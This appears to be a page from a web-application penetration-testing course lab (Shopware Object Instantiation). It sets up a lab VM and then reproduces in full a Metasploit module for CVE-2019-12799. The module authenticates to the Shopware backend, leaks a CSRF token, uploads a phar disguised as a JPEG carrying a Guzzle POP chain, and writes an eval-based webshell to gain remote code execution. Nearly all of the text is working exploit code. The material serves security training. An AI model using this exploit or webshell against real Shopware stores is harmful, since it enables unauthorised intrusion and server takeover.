Lab 9: Shopware Object Instantiation
To try this attack on the provided Virtual Machine, perform the below.
▪
Power up a pentesting distribution such as Kali Linux
▪
Edit /etc/hosts so that the Virtual Machine’s IP is related to shopware.local
▪
Save the below exploit as shopware_createinstancefromnamedarguments_rce.rb, inside the
/root/.msf4/modules/exploits/http/ directory.
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
© 2020 Caendra Inc. | WAPTXv2
46
def initialize(info = {})
super(update_info(info,
'Name' => "Shopware createInstanceFromNamedArguments PHP Object
Instantiation RCE",
'Description' => %q(
This module exploits a php object instantiation vulnerability
that can lead to RCE in
Shopware. An authenticated backend user could exploit the
vulnerability.
The vulnerability exists in the
createInstanceFromNamedArguments function, where the code
insufficiently performs whitelist check which can be bypassed
to trigger an object injection.
An attacker can leverage this to deserialize an arbitrary
payload and write a webshell to
the target system, resulting in remote code execution.
Tested on Shopware git branches 5.6, 5.5, 5.4, 5.3.
),
'License' => MSF_LICENSE,
'Author' =>
[
'Karim Ouerghemmi', # original discovery
'mr_me ', # patch bypass, rce & msf
module
],
'References' =>
[
['CVE', '2019-12799'],
# yes really, assigned per request
['CVE', '2017-18357'],
# not really because we bypassed this patch
['URL', 'https://blog.ripstech.com/2017/shopware-php-object-
instantiation-to-blind-xxe/'] # initial writeup w/ limited
exploitation
],
'Platform' => 'php',
'Arch' => ARCH_PHP,
'Targets' => [['Automatic', {}]],
'Privileged' => false,
'DisclosureDate' => "May 09 2019",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, "Base Shopware path", '/']),
© 2020 Caendra Inc. | WAPTXv2
47
OptString.new('USERNAME', [true, "Backend username to
authenticate with", 'demo']),
OptString.new('PASSWORD', [false, "Backend password to
authenticate with", 'demo'])
]
)
end
def do_login
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'backend', 'Login',
'login'),
'vars_post' => {
'username' => datastore['username'],
'password' => datastore['password'],
}
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200
cookie =
res.get_cookies.scan(%r{(SHOPWAREBACKEND=.{26};)}).flatten.first
if res.nil?
return
end
return cookie
end
return
end
def get_webroot(cookie)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'systeminfo',
'info'),
'cookie' => cookie
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200
return res.body.scan(%r{DOCUMENT_ROOT |
(.*)
|
}).flatten.first
end
return
end
© 2020 Caendra Inc. | WAPTXv2
48
def leak_csrf(cookie)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend', 'CSRFToken',
'generate'),
'cookie' => cookie
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200
if res.headers.include?('X-Csrf-Token')
return res.headers['X-Csrf-Token']
end
end
return
end
def generate_phar(webroot)
php =
Rex::FileUtils.normalize_unix_path("#{webroot}#{target_uri.path}media/#
{@shll_bd}.php")
register_file_for_cleanup("#{@shll_bd}.php")
pop =
"O:31:\"GuzzleHttp\\Cookie\\FileCookieJar\":2:{s:41:\"\x00GuzzleHttp\\C
ookie\\FileCookieJar\x00filename\";"
pop << "s:#{php.length}:\"#{php}\";"
pop << "s:36:\"\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies\";"
pop <<
"a:1:{i:0;O:27:\"GuzzleHttp\\Cookie\\SetCookie\":1:{s:33:\"\x00GuzzleHt
tp\\Cookie\\SetCookie\x00data\";"
pop << "a:3:{s:5:\"Value\";"
pop << "s:48:\"
eval(base64_decode($_SERVER[HTTP_#{@header}])); ?>\";"
pop << "s:7:\"Expires\";"
pop << "b:1;"
pop << "s:7:\"Discard\";"
pop << "b:0;}}}}"
file = Rex::Text.rand_text_alpha_lower(8)
stub = "\r\n"
file_contents = Rex::Text.rand_text_alpha_lower(20)
file_crc32 = Zlib::crc32(file_contents) & 0xffffffff
manifest_len = 40 + pop.length + file.length
phar = stub
phar << [manifest_len].pack('V') # length of manifest
in bytes
phar << [0x1].pack('V') # number of files in
the phar
© 2020 Caendra Inc. | WAPTXv2
49
phar << [0x11].pack('v') # api version of the
phar manifest
phar << [0x10000].pack('V') # global phar
bitmapped flags
phar << [0x0].pack('V') # length of phar
alias
phar << [pop.length].pack('V') # length of phar
metadata
phar << pop # pop chain
phar << [file.length].pack('V') # length of filename
in the archive
phar << file # filename
phar << [file_contents.length].pack('V') # length of the
uncompressed file contents
phar << [0x0].pack('V') # unix timestamp of
file set to Jan 01 1970.
phar << [file_contents.length].pack('V') # length of the
compressed file contents
phar << [file_crc32].pack('V') # crc32 checksum of
un-compressed file contents
phar << [0x1b6].pack('V') # bit-mapped file-
specific flags
phar << [0x0].pack('V') # serialized File
Meta-data length
phar << file_contents # serialized File
Meta-data
phar << [Rex::Text.sha1(phar)].pack('H*') # signature
phar << [0x2].pack('V') # signiture type
phar << "GBMB" # signature presence
return phar
end
def upload(cookie, csrf_token, phar)
data = Rex::MIME::Message.new
data.add_part(phar, Rex::Text.rand_text_alpha_lower(8), nil,
"name=\"fileId\"; filename=\"#{@phar_bd}.jpg\"")
res = send_request_cgi(
'method' => 'POST',
'uri' => normalize_uri(target_uri, 'backend', 'mediaManager',
'upload'),
'ctype' => "multipart/form-data; boundary=#{data.bound}",
'data' => data.to_s,
'cookie' => cookie,
'headers' => {
'X-CSRF-Token' => csrf_token
}
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
© 2020 Caendra Inc. | WAPTXv2
50
end
if res.code == 200 && res.body =~ /Image is not in a recognized
format/i
return true
end
return
end
def leak_upload(cookie, csrf_token)
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend',
'MediaManager', 'getAlbumMedia'),
'cookie' => cookie,
'headers' => {
'X-CSRF-Token' => csrf_token
}
)
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
if res.code == 200 && res.body =~ /#{@phar_bd}.jpg/i
bd_path = $1 if res.body =~
/media\\\/image\\\/(.{10})\\\/#{@phar_bd}/
register_file_for_cleanup("image/#{bd_path.gsub("\\",
"")}/#{@phar_bd}.jpg")
return "media/image/#{bd_path.gsub("\\", "")}/#{@phar_bd}.jpg"
end
return
end
def trigger_bug(cookie, csrf_token, upload_path)
sort = {
"Shopware_Components_CsvIterator" => {
"filename" => "phar://#{upload_path}",
"delimiter" => "",
"header" => ""
}
}
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend',
'ProductStream', 'loadPreview'),
'cookie' => cookie,
'headers' => {
'X-CSRF-Token' => csrf_token
},
'vars_get' => { 'sort' => sort.to_json }
)
© 2020 Caendra Inc. | WAPTXv2
51
unless res
fail_with(Failure::Unreachable, "Connection failed")
end
return
end
def exec_code
send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, "media",
"#{@shll_bd}.php"),
'raw_headers' => "#{@header}:
#{Rex::Text.encode_base64(payload.encoded)}\r\n"
}, 1)
end
def check
cookie = do_login
if cookie.nil?
vprint_error "Authentication was unsuccessful"
return Exploit::CheckCode::Safe
end
csrf_token = leak_csrf(cookie)
if csrf_token.nil?
vprint_error "Unable to leak the CSRF token"
return Exploit::CheckCode::Safe
end
res = send_request_cgi(
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'backend',
'ProductStream', 'loadPreview'),
'cookie' => cookie,
'headers' => { 'X-CSRF-Token' => csrf_token }
)
if res.code == 200 && res.body =~ /Shop not found/i
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
end
def exploit
unless Exploit::CheckCode::Vulnerable == check
fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
end
@phar_bd = Rex::Text.rand_text_alpha_lower(8)
@shll_bd = Rex::Text.rand_text_alpha_lower(8)
@header = Rex::Text.rand_text_alpha_upper(2)
cookie = do_login
if cookie.nil?
© 2020 Caendra Inc. | WAPTXv2
52
fail_with(Failure::NoAccess, "Authentication was unsuccessful")
end
print_good("Stage 1 - logged in with #{datastore['username']}:
#{cookie}")
web_root = "/var/www/shopware"
# if web_root.nil?
# fail_with(Failure::Unknown, "Unable to leak the webroot")
# end
# print_good("Stage 2 - leaked the web root: #{web_root}")
csrf_token = leak_csrf(cookie)
if csrf_token.nil?
fail_with(Failure::Unknown, "Unable to leak the CSRF token")
end
print_good("Stage 3 - leaked the CSRF token: #{csrf_token}")
phar = generate_phar(web_root)
print_good("Stage 4 - generated our phar")
if !upload(cookie, csrf_token, phar)
fail_with(Failure::Unknown, "Unable to upload phar archive")
end
print_good("Stage 5 - uploaded phar")
upload_path = leak_upload(cookie, csrf_token)
if upload_path.nil?
fail_with(Failure::Unknown, "Cannot find phar archive")
end
print_good("Stage 6 - leaked phar location: #{upload_path}")
trigger_bug(cookie, csrf_token, upload_path)
print_good("Stage 7 - triggered object instantiation!")
exec_code
end
end
▪
Start Metasploit and execute reload_all
▪
Launch the exploit as follows
© 2020 Caendra Inc. | WAPTXv2